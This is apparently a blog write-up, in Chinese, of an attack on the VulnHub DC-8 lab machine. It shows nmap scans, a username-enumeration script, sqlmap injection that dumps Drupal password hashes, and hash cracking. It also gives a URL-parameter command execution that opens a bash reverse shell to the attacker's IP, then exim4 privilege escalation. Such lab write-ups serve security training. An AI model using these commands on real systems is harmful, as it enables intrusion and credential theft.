vulnhub: DC-8

目标

get flags

0


1.信息收集

1.1 主机发现

nmap 192.168.64.0/24 -sn --max-rate 10000


1
靶机的IP地址是 192.168.64.43

1.2 端口扫描

SYN扫描

nmap 192.168.64.43 -Pn -sS -sV -p- --max-rate 10000


2

TCP connection扫描

nmap 192.168.64.43 -Pn -sT -sV -p- --max-rate 10000


3

UDP扫描

nmap 192.168.64.43 -Pn -sU -sV --top-ports 100 --max-rate 10000


4

nmap默认脚本扫描

nmap 192.168.64.43 -sV -sC -O -p 22,80,2 --max-rate 10000 -oA nmap-scan/default


5

nmap漏洞脚本扫描

nmap 192.168.64.43 -sV --script vuln -p 22,80,2 -O --max-rate 10000 -oA nmap-scan/vuln

很多信息。

1.3 22端口获取信息

nmap 192.168.64.43 -sV --script ssh-auth-methods.nse,ssh-hostkey.nse -p 22


6
ssh只能通过密钥登陆。

1.4 80端口获取信息

1.4.1 访问http://192.168.64.43


7
上面有信息,网站应该是在维护。

1.4.2 扫描Drupal

droopescan scan drupal -u http://192.168.64.43 -o json

发现了一些Plugin和theme,这个Drupal的版本是7.64。登陆点在http://192.168.64.43/user/login.

1.4.3 搜索当前版本的Drupal的漏洞


8
尝试了44448, 46452, 46459 都不行。

1.4.4 访问http://192.168.64.43/robots.txt


9

1.4.5 fuzz首页index.php的参数

ffuf -u http://192.168.64.43/index.php?FUZZ=id -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -rate 20 -t 20 -ac
ffuf -u http://192.168.64.43/index.php?FUZZ=/etc/passwd -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -rate 20 -t 20 -ac

除了robots.txt里面提供的p,这里扫出来一个nid参数。

1.4.6 枚举用户名

import requests
from time import sleep
from rich.progress import Progress, BarColumn, TextColumn, TimeElapsedColumn, TimeRemainingColumn

url = "http://192.168.64.43/user/password"

users_file = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
headers = {
    'Host': '192.168.64.43',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:150.0) Gecko/20100101 Firefox/150.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://192.168.64.43',
    'Connection': 'keep-alive',
    'Referer': 'http://192.168.64.43/user/password',
    'Cookie': 'has_js=1',
    'Upgrade-Insecure-Requests': '1'
}

with open(users_file, "r", encoding="utf-8", errors="ignore") as f:
    users = [line.strip() for line in f if line.strip()]

total = len(users)
session = requests.Session()

with Progress(
    TextColumn("[bold blue]{task.description}"),
    BarColumn(),
    TextColumn("{task.completed}/{task.total}"),
    TimeElapsedColumn(),
    TimeRemainingColumn(),
) as progress:
    task = progress.add_task("Bruteforcing...", total=total)

    for u in users:
        data = {
            'name': u,
            'form_build_id': 'form-PFA8ngQLJCnqAg7TZhrWtPpvQFOsKiZYfbJFX1Ilh2k',
            'form_id': 'user_pass',
            'op': 'E-mail+new+password'
        }

        try:
            response = session.post(
                url,
                headers=headers,
                data=data,
                timeout=10,
                allow_redirects=False
            )
        except requests.RequestException as e:
            progress.console.print(f"[red]Request error:[/red] {e}")
            progress.update(task, advance=1)
            continue

        if 'Error message' not in response.text:
            progress.console.print(
                f"[green]Possible hit[/green] "
                f"status={response.status_code}; username={u};"
                f"length={len(response.content)}"
            )

        progress.update(task, advance=1)
        sleep(0.1)


10

1.4.7 尝试sql注入

使用sqlmap尝试一下sql injecting,

sqlmap -u http://192.168.64.43/index.php?nid=2 -p "nid" --level 5 --risk 3 --batch --dbs
sqlmap -u http://192.168.64.43/index.php?p=node/2 -p "p" --level 5 --risk 3 --batch --dbs
  • [WARNING] GET parameter 'p' does not seem to be injectable
  • nid参数
    available databases [2]:                                                                                                
    [*] d7db
    [*] information_schema
    

获取d7db里面的信息:

# 获得里面的表格
sqlmap -u http://192.168.64.43/index.php?nid=1 -p "nid" --level 5 --risk 3 --batch -D d7db --tables

得到许多表格,查看里面的重要内容:

sqlmap -u http://192.168.64.43/index.php?nid=1 -p "nid" --level 5 --risk 3 --batch -D d7db -T users -C "uid,name,pass" --dump

结果如下,

+-----+---------+---------------------------------------------------------+
| uid | name    | pass                                                    |
+-----+---------+---------------------------------------------------------+
| 0   | <blank> | <blank>                                                 |
| 1   | admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| 2   | john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-----+---------+---------------------------------------------------------+

这样的话,上面的用户名枚举都不需要了🤡

1.4.8 尝试使用john来破解(这个用户名john是不是也有提示的作用?!🌚)

先判断一下上面的加密方式:

echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' | hashid -mj
Analyzing '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'
[+] Drupal > v7.x [Hashcat Mode: 7900][JtR Format: drupal7]

将上面信息保存进passwd.hash文件, 内容如下,

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

运行john,开始破解,

john --wordlist=/usr/share/wordlists/rockyou.txt --format=drupal7 passwd.hash

可以破解出来,(按照我上面那样跑的太慢了,我分开来一个个跑,john用户很快就破解出来了,但是admin用户跑的是在太慢了,我跑了30min没跑出来)

  • username: john
  • password: turtle

2.建立系统立足点

登陆Drupal网站

11

努力的翻找,终于找到了

13
应该是需要在里面填上邮箱与用户名来触发,

12


14
报错了,是个好消息,说明函数是在执行的。
尝试在当前url加上x参数,http://192.168.64.43/node/3/done?sid=2&x=ls

15
可以成功。

现在建立反弹连接,在kali端开启监听nc -lvnp 1025
访问网址: http://192.168.64.43/node/3/done?sid=2&x=bash -c 'bash -i >%26 /dev/tcp/192.168.64.2/1025 0>%261'

16


3.系统提权

find / -perm -4000 -type f 2>/dev/null

可以找到一个exim4很可疑。在网站GTFOBins上是找不到的,

17
应该是可以使用46996.


18

19

上面看上去运行一下很简单,但是实际我的提权的时候后出现各种情况,最终成功了。🌚



💻 硬件与软件平台

硬件

  • Apple Macbook pro M1-Pro 32G 512G
  • macOS 14.8.5

软件

  • UTM version 4.7.5

kali:

  • IP: 192.168.64.2
  • OS Realease: debian 2025.4
  • CPU Arch: Arm64
  • CPU Cores: 4

DC-8:

  • website: https://www.vulnhub.com/entry/dc-8 ,367/
  • IP: 192.168.64.43
  • CPU Arch: x86_64
  • CPU Cores: 2

水平有限,有不足、错误之处欢迎指出。🧐

posted on 2026-05-04 16:47  curme_miller  阅读(37)  评论(0)    收藏  举报